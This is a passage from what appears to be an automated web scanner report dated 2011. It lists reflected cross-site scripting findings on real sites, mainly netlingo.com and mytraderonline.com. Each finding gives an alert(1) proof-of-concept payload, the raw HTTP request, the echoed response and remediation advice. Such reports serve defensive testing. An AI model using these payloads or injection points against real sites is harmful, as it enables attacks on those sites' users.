GET /myt/sign-in/?5be1d"%3balert(1)//85941d9f6ff=1 HTTP/1.1 Host: www.mytraderonline.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:08:32 GMT Server: Apache/2.0.63 (Unix) DAV/2 PHP/5.2.13 mod_ssl/2.0.63 OpenSSL/0.9.8l X-Powered-By: PHP/5.2.13 Connection: close Content-Type: text/html Content-Length: 33916
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>MyTrader - Save, Modify, Delete Vehicles for Sale - TraderOnline.com</title> <meta name="description" content="U ...[SNIP]... <SCRIPT>DisplayAds("traderonline","www.traderonline.com/", "", "", "?5be1d";alert(1)//85941d9f6ff=1&","Right1","0","0")</SCRIPT> ...[SNIP]...
4.1267. http://www.netlingo.com/add-edit/editor-guidelines.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/add-edit/editor-guidelines.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2e7db"-alert(1)-"eeac52a4325 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /add-edit/editor-guidelines.php?2e7db"-alert(1)-"eeac52a4325=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:52:22 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 39445
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... ingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/add-edit/editor-guidelines.php?2e7db"-alert(1)-"eeac52a4325=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1268. http://www.netlingo.com/advertise/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/advertise/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 45d9e"-alert(1)-"9ac9b45a4e8 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /advertise/index.php?45d9e"-alert(1)-"9ac9b45a4e8=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:59:54 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 38394
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... ://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/advertise/index.php?45d9e"-alert(1)-"9ac9b45a4e8=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1269. http://www.netlingo.com/advertise/licensing.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/advertise/licensing.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload e6d4f"-alert(1)-"7a919b369a3 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /advertise/licensing.php?e6d4f"-alert(1)-"7a919b369a3=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:59:57 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 36980
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... ww.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/advertise/licensing.php?e6d4f"-alert(1)-"7a919b369a3=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1270. http://www.netlingo.com/advertise/payments.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/advertise/payments.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 24c1b"-alert(1)-"e08311d27ec was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /advertise/payments.php?24c1b"-alert(1)-"e08311d27ec=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:00:01 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 35411
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/advertise/payments.php?24c1b"-alert(1)-"e08311d27ec=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1271. http://www.netlingo.com/advertise/sponsorships.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/advertise/sponsorships.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 26131"-alert(1)-"c40e7e0c170 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /advertise/sponsorships.php?26131"-alert(1)-"c40e7e0c170=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:59:54 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 40067
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/advertise/sponsorships.php?26131"-alert(1)-"c40e7e0c170=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1272. http://www.netlingo.com/by-category/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/by-category/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 587c9"-alert(1)-"4286caef72b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /by-category/index.php?587c9"-alert(1)-"4286caef72b=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:50:18 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 41126
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... /www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/by-category/index.php?587c9"-alert(1)-"4286caef72b=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1273. http://www.netlingo.com/change-password.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/change-password.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4eccc"><img%20src%3da%20onerror%3dalert(1)>27cd0dda0c4 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 4eccc\"><img src=a onerror=alert(1)>27cd0dda0c4 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /change-password.php?4eccc"><img%20src%3da%20onerror%3dalert(1)>27cd0dda0c4=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:32 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Set-Cookie: PHPSESSID=q604f4d81hs3dk4e8nsfl2k781; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 34064
4.1274. http://www.netlingo.com/contact/contact-us.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/contact/contact-us.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a85cc"-alert(1)-"f9a7aeb155d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /contact/contact-us.php?a85cc"-alert(1)-"f9a7aeb155d=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:00:35 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 34764
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/contact/contact-us.php?a85cc"-alert(1)-"f9a7aeb155d=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1275. http://www.netlingo.com/contact/faq.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/contact/faq.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 22223"-alert(1)-"926fba7f330 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /contact/faq.php?22223"-alert(1)-"926fba7f330=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:00:39 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 51013
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... http://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/contact/faq.php?22223"-alert(1)-"926fba7f330=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1276. http://www.netlingo.com/contact/linktonetlingo.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/contact/linktonetlingo.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fdcfe"-alert(1)-"3c43700b473 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /contact/linktonetlingo.php?fdcfe"-alert(1)-"3c43700b473=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:00:44 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 37822
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/contact/linktonetlingo.php?fdcfe"-alert(1)-"3c43700b473=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1277. http://www.netlingo.com/decisions.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/decisions.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 21eb3"><img%20src%3da%20onerror%3dalert(1)>3fdcc674bb2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 21eb3\"><img src=a onerror=alert(1)>3fdcc674bb2 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /decisions.php?21eb3"><img%20src%3da%20onerror%3dalert(1)>3fdcc674bb2=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:09 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Set-Cookie: PHPSESSID=nntluhfmkvfus6vk0cg7646qb6; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Connection: close Content-Type: text/html Content-Length: 34058
4.1278. http://www.netlingo.com/hello/welcome.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/hello/welcome.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 8babd"-alert(1)-"0dc6ee6e46a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /hello/welcome.php?8babd"-alert(1)-"0dc6ee6e46a=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:54:26 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 42753
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... tp://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/hello/welcome.php?8babd"-alert(1)-"0dc6ee6e46a=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1279. http://www.netlingo.com/iphone [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/iphone
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 82dd9"-alert(1)-"0fc7f046bae was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /iphone?82dd9"-alert(1)-"0fc7f046bae=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:19 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 32407
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><!--Programming, Authoring, and Design by Erin Jansen and Vincent James, NetLingo.com is copyrighted and trademarked --> <head> < ...[SNIP]... tb_open_new('http://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); }); $("#send_page").click(function() { data = "page_name=/iphone/?82dd9"-alert(1)-"0fc7f046bae=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1280. http://www.netlingo.com/iphone/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/iphone/
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 4e3e8"-alert(1)-"71b86919983 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /iphone/?4e3e8"-alert(1)-"71b86919983=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:54:19 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 32407
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><!--Programming, Authoring, and Design by Erin Jansen and Vincent James, NetLingo.com is copyrighted and trademarked --> <head> < ...[SNIP]... tb_open_new('http://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); }); $("#send_page").click(function() { data = "page_name=/iphone/?4e3e8"-alert(1)-"71b86919983=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1281. http://www.netlingo.com/iphone/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/iphone/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload a9cc3"-alert(1)-"7db72ba4b6a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /iphone/index.php?a9cc3"-alert(1)-"7db72ba4b6a=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:54:21 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 32416
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><!--Programming, Authoring, and Design by Erin Jansen and Vincent James, NetLingo.com is copyrighted and trademarked --> <head> < ...[SNIP]... _open_new('http://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); }); $("#send_page").click(function() { data = "page_name=/iphone/index.php?a9cc3"-alert(1)-"7db72ba4b6a=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1282. http://www.netlingo.com/legal/copyright.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/legal/copyright.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 42784"-alert(1)-"9e71023a44f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /legal/copyright.php?42784"-alert(1)-"9e71023a44f=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:00:39 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 55220
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <ti ...[SNIP]... ://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); });
$("#send_page").click(function() { data = "page_name=/legal/copyright.php?42784"-alert(1)-"9e71023a44f=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1283. http://www.netlingo.com/more/adsizes.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/more/adsizes.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 38385"-alert(1)-"5142c59f27b was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /more/adsizes.php?38385"-alert(1)-"5142c59f27b=1 HTTP/1.1 Host: www.netlingo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 04:53:44 GMT Server: Apache/2.2.3 (CentOS) X-Powered-By: PHP/5.2.9 Connection: close Content-Type: text/html Content-Length: 29504
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html><!--Programming, Authoring, and Design by Erin Jansen and Vincent James, NetLingo.com is copyrighted and trademarked --> <head> ...[SNIP]... _open_new('http://www.netlingo.com/word-subscribe.php?TB_iframe=true&height=330&width=420&modal=true'); }); $("#send_page").click(function() { data = "page_name=/more/adsizes.php?38385"-alert(1)-"5142c59f27b=1"; tb_open_new('http://www.netlingo.com/send-page.php?'+data+'TB_iframe=true&height=450&width=500&modal=true'); }); }); </script> ...[SNIP]...
4.1284. http://www.netlingo.com/press/about-netlingo.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.netlingo.com
Path:
/press/about-netlingo.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 39c6c"-alert(1)-"4c301758d1d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
